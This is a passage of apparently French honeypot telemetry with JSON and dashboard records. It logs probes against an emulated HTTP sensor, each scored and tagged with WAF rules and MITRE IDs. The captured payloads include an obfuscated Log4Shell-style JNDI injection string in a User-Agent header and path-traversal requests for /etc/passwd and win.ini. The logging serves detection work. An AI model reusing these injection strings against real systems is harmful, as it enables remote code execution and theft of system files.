"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "996f0807599be451887f8cceceed5943",
"payload_hash": "dc537d9fe9392b2a07641f89dd296a96",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 8005,
"service": "http",
"service_name": "http",
"risk_score": 57
},
"payload_preview": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\r\nAccept: *\/*\r\nUser-Agent: ${${3qwy:-j}${t0ng:b4:-n}${rtij:9",
"method": "GET",
"path": "\/",
"user_agent": "${${3qwy:-j}${t0ng:b4:-n}${rtij:9gn:-d}${h:-i}${s0:os:-:}${gl:ud:4l0t:-l}${ylrb:8gn:-d}${ky:-a}${h:id:y4jk:-p}${kmx:-:}${9j:7xr:hz3f:-\/}${s:-\/}${t5e:n027:-U}${h:-A}${4a1:-l}${moj:yg:-0}${zab:-c}${k:9cvq:--}${${md4w:nw:-s}${n2y:a6e:wm:-y}${o9i:1sd0:-s}${y:\u2026",
"waf_tags": [
"950326:rce-0",
"950382:rce-14",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"rce-14",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\r\nAccept: *\/*\r\nUser-Agent: ${${3qwy:-j}${t0ng:b4:-n}${rtij:9gn:-d}${h:-i}${s0:os:-:}${gl:ud:4l0t:-l}${ylrb:8gn:-d}${ky:-a}${h:id:y4jk:-p}${kmx:-:}${9j:7xr:hz3f:-\/}${s:-\/}${t5e:n027:-U}${h:",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\r\nAccept: *\/*\r\nUser-Agent: ${${3qwy:-j}${t0ng:b4:-n}${rtij:9",
"evidence": {
"method": "GET",
"path": "\/",
"user_agent": "${${3qwy:-j}${t0ng:b4:-n}${rtij:9gn:-d}${h:-i}${s0:os:-:}${gl:ud:4l0t:-l}${ylrb:8gn:-d}${ky:-a}${h:id:y4jk:-p}${kmx:-:}${9j:7xr:hz3f:-\/}${s:-\/}${t5e:n027:-U}${h:-A}${4a1:-l}${moj:yg:-0}${zab:-c}${k:9cvq:--}${${md4w:nw:-s}${n2y:a6e:wm:-y}${o9i:1sd0:-s}${y:\u2026",
"waf_tags": [
"950326:rce-0",
"950382:rce-14",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"rce-14",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\r\nAccept: *\/*\r\nUser-Agent: ${${3qwy:-j}${t0ng:b4:-n}${rtij:9gn:-d}${h:-i}${s0:os:-:}${gl:ud:4l0t:-l}${ylrb:8gn:-d}${ky:-a}${h:id:y4jk:-p}${kmx:-:}${9j:7xr:hz3f:-\/}${s:-\/}${t5e:n027:-U}${h:",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\r\nAccept: *\/*\r\nUser-Agent: ${${3qwy:-j}${t0ng:b4:-n}${rtij:9",
"classification_reason": "Type \u00ab port_8005_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "646914addffbf2bef7ce84b36dcbebd5e2fa1b6e",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "${${3qwy:-j}${t0ng:b4:-n}${rtij:9gn:-d}${h:-i}${s0:os:-:}${gl:ud:4l0t:-l}${ylrb:8gn:-d}${ky:-a}${h:id:y4jk:-p}${kmx:-:}\u2026",
"port": 8005,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\r\nAccept: *\/*\r\nUser-Agent: ${${3qwy:-j}${t0ng:b4:-n}${rtij:9",
"attack_vector": "port 8005 tcp \u00b7 via HTTP:8005 \u00b7 (sonde \/ probe)",
"target_port_label": "8005 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_8005_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"classification_reason_label_fr": "Type \u00ab port_8005_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 57\/100 (Moyen) \u2014 MITRE TA0007 \u2014 confiance 60 % \u2014 via HTTP \u2014 campagne \/24 (34.19.116.0\/24)",
"confidence_pct": 60,
"confidence_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25,
"risk_score": 57,
"correlation_boost": 10
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 57,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8005,
"protocol_emulated": true,
"tags_summary": [
"pat-0162"
],
"tags_summary_labels_fr": [
"pat-0162"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "${${3qwy:-j}${t0ng:b4:-n}${rtij:9gn:-d}${h:-i}${s0:os:-:}${gl:ud:4l0t:-l}${ylrb:8gn:-d}${ky:-a}${h:id:y4jk:-p}${kmx:-:}\u2026",
"port": 8005,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "port 8005 tcp \u00b7 via HTTP:8005 \u00b7 (sonde \/ probe)",
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\r\nAccept: *\/*\r\nUser-Agent: ${${3qwy:-j}${t0ng:b4:-n}${rtij:9",
"target_port_label": "8005 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 60 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +10 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8005"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.116.0\/24",
"coordinated_ip_count": 8,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950382:rce-14",
"950470:nosqli-3",
"950734:sap-sapcontrol-path",
"net_web_probe"
],
"asn_dc_heuristic": true,
"behavior_alert_count": 1,
"behavior_priority": 84
}
31/07/2026 15:15:36 UTC
TCP
8111 · HTTP
Traversal LFI
lfi path traversal · via HTTP:8111 · (tentative d'exploit) · → /etc/passwd
Élevée
Élevé · 69
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
MITRE
T1083
TA0001
TA0002
Protocole
GET /etc/passwd UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
27
Recommandation
Investiguer
Tags
950264:lfi-1
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/etc/passwd
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8111
Chemin / cible
/etc/passwd
Pourquoi cette classification : Sonde fichier sensible / config · confiance 100%
Confiance classification
100%
Corrélation +10
Risque capteur
Élevé
· 69
Confiance : Confiance 100 % — Motif catalogue confirmé · 4 tag(s) WAF
Protocole émulé
1 Signaux
MITRE-T1083
pat-0716
pat-0802
pat-0137
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 930160 etc passwd
MITRE T1083 file enum
SSRF Any-address SSRF
LFI path /etc/passwd
Ligne de requête
GET /etc/passwd HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
lfi-1
rce-0
nosqli-3
Payload (extrait)
GET /etc/passwd HTTP/1.1
Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8111
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh;
Requête brute (extrait)
GET /etc/passwd HTTP/1.1 Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8111 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "bffaa2abb7d9ce91f1039eb55cd73d62a6f71f46",
"http_target_hash": "b5cc3f676d00dd320d85ef41a5209fa0a99891ea",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 226,
"payload_entropy": 5.396423924663369,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8111,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 5.3,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 69,
"tag_count": 6,
"anomaly_count": 0,
"campaign_key": "7dcd39bb2719e82afc2a9a551a5381f1e2cc29c9",
"event_fingerprint": "0733578c547f78488269d0b54568ff461812bfcd",
"classification_reason": "Sonde fichier sensible \/ config \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 344,
"precision_signals": [
"MITRE-T1083",
"pat-0716",
"pat-0802",
"pat-0137",
"CRS-930100-sub"
],
"kb_rule_ids": [
"MITRE-T1083",
"pat-0716",
"pat-0802",
"pat-0137",
"CRS-930100-sub"
],
"matched_patterns": [
"pat-0716",
"pat-0802",
"pat-0324",
"pat-0137"
],
"matched_pattern_names": [
"CRS 930160 etc passwd",
"MITRE T1083 file enum",
"SSRF Any-address SSRF",
"LFI path \/etc\/passwd"
],
"pattern_ids": [
"pat-0716",
"pat-0802",
"pat-0324",
"pat-0137"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 69,
"correlation_boost": 10
},
"named_classification_skipped": false,
"classification_parent": "path_traversal",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "1a1d8ee5bd040d488de384a37bd70264",
"path_pattern_hash": "74acf31844532670be412c65b8251ee5"
},
"target_context": {
"dst_port": 8111,
"service": "http",
"service_name": "http",
"risk_score": 69
},
"payload_preview": "GET \/etc\/passwd HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8111\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh;",
"method": "GET",
"path": "\/etc\/passwd",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950264:lfi-1",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-1",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/etc\/passwd HTTP\/1.1",
"request_sample": "GET \/etc\/passwd HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8111\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/etc\/passwd HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8111\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh;",
"evidence": {
"method": "GET",
"path": "\/etc\/passwd",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950264:lfi-1",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-1",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/etc\/passwd HTTP\/1.1",
"request_sample": "GET \/etc\/passwd HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8111\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/etc\/passwd HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8111\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh;",
"classification_reason": "Sonde fichier sensible \/ config \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1083"
],
"mitre": "T1083",
"threat_family": [
"path_traversal"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "6744cae87a7278a098e58a927386b6d6c4abc156",
"protocol_details": {
"http_method": "GET",
"http_path": "\/etc\/passwd",
"request_line": "GET \/etc\/passwd HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8111,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/etc\/passwd HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8111\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh;",
"attack_vector": "lfi path traversal \u00b7 via HTTP:8111 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/etc\/passwd",
"target_port_label": "8111 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Sonde fichier sensible \/ config \u00b7 confiance 100%",
"classification_reason_label_fr": "Sonde fichier sensible \/ config \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 69\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP \u2014 campagne \/24 (34.19.116.0\/24)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 69,
"correlation_boost": 10
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 69,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8111,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1083",
"pat-0716",
"pat-0802",
"pat-0137"
],
"tags_summary_labels_fr": [
"MITRE-T1083",
"pat-0716",
"pat-0802",
"pat-0137"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1083",
"mitre_technique": "T1083",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "GET",
"http_path": "\/etc\/passwd",
"request_line": "GET \/etc\/passwd HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8111,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "lfi path traversal \u00b7 via HTTP:8111 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/etc\/passwd",
"evidence_snippet": "GET \/etc\/passwd HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8111\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh;",
"target_port_label": "8111 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +10 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8111"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.116.0\/24",
"coordinated_ip_count": 5,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950264:lfi-1",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"http_sensitive_path",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:15:36 UTC
TCP
8111 · HTTP
Traversal LFI
lfi path traversal · via HTTP:8111 · (tentative d'exploit) · → /Windows/win.ini
Élevée
Élevé · 69
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
MITRE
T1083
TA0001
TA0002
Protocole
GET /Windows/win.ini UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
27
Recommandation
Investiguer
Tags
950264:lfi-1
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/Windows/win.ini
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8111
Chemin / cible
/Windows/win.ini
Pourquoi cette classification : Type « lfi_path_traversal » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Corrélation +10
Risque capteur
Élevé
· 69
Confiance : Confiance 100 % — Motif catalogue confirmé · 4 tag(s) WAF
Protocole émulé
1 Signaux
pat-0715
CRS-930100-sub
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 930150 boot ini
SSRF Any-address SSRF
Ligne de requête
GET /Windows/win.ini HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
lfi-1
rce-0
nosqli-3
Payload (extrait)
GET /Windows/win.ini HTTP/1.1
Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8111
Accept: */*
User-Agent: Mozilla/5.0 (Macin
Requête brute (extrait)
GET /Windows/win.ini HTTP/1.1 Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8111 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": "ini",
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "bffaa2abb7d9ce91f1039eb55cd73d62a6f71f46",
"http_target_hash": "b5d2bf3ef60b3bbf03ffbca44323fac1d6d4719a",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 231,
"payload_entropy": 5.408342655967147,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8111,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 5,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25
},
"risk_score": 69,
"tag_count": 5,
"anomaly_count": 0,
"campaign_key": "25aff8e0edcbc9cb3e576dbec740c12725527085",
"event_fingerprint": "ca3adf9af6a177f3b65e49a80e8d7c78d31f91b1",
"classification_reason": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 146,
"precision_signals": [
"pat-0715",
"CRS-930100-sub"
],
"kb_rule_ids": [
"pat-0715",
"CRS-930100-sub"
],
"matched_patterns": [
"pat-0715",
"pat-0324"
],
"matched_pattern_names": [
"CRS 930150 boot ini",
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0715",
"pat-0324"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25,
"risk_score": 69,
"correlation_boost": 10
},
"named_classification_skipped": false,
"classification_parent": "path_traversal",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "1539a11ea0691d969c1f4e55dbc22fa0",
"path_pattern_hash": "4a136e1e1f4d3c20d824eefa8bc8174c"
},
"target_context": {
"dst_port": 8111,
"service": "http",
"service_name": "http",
"risk_score": 69
},
"payload_preview": "GET \/Windows\/win.ini HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8111\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macin",
"method": "GET",
"path": "\/Windows\/win.ini",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950264:lfi-1",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-1",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/Windows\/win.ini HTTP\/1.1",
"request_sample": "GET \/Windows\/win.ini HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8111\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/Windows\/win.ini HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8111\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macin",
"evidence": {
"method": "GET",
"path": "\/Windows\/win.ini",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950264:lfi-1",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-1",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/Windows\/win.ini HTTP\/1.1",
"request_sample": "GET \/Windows\/win.ini HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8111\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/Windows\/win.ini HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8111\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macin",
"classification_reason": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1083"
],
"mitre": "T1083",
"threat_family": [
"path_traversal"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "873a8fdc621cbfdacd6d3fa61370fcba50281db9",
"protocol_details": {
"http_method": "GET",
"http_path": "\/Windows\/win.ini",
"request_line": "GET \/Windows\/win.ini HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8111,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/Windows\/win.ini HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8111\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macin",
"attack_vector": "lfi path traversal \u00b7 via HTTP:8111 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/Windows\/win.ini",
